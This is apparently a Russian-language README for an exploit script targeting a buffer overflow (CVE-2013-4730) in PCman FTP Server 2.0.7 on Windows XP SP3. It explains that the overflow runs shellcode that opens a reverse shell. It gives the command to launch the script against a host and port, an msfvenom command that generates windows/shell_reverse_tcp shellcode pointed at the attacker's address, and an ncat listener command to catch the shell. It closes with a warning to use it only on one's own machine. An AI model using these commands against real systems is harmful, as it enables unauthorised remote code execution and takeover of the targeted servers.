Переполнение буфера и удаленное выполнение кода FTP-сервера PCman [CVE-2013-4730]

Очень простое переполнение буфера с использованием CVE-2013-4730 против FTP-сервера PCman v.2.0.7

Как это работает?

Это простое BoF перезаписывает буфер и выполняет шелл-код, который подключается обратно (обратная оболочка)

Уязвимые машины:

WindowsXP SP3 с FTP-сервером PCman версии 2.0.7

Запуск

~$ python3 PCman.py <host> <port>

Замените шелл-код на свой!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

Запуск netcat

~$ ncat -lvp <shellcode port>

Используйте только на своей машине!!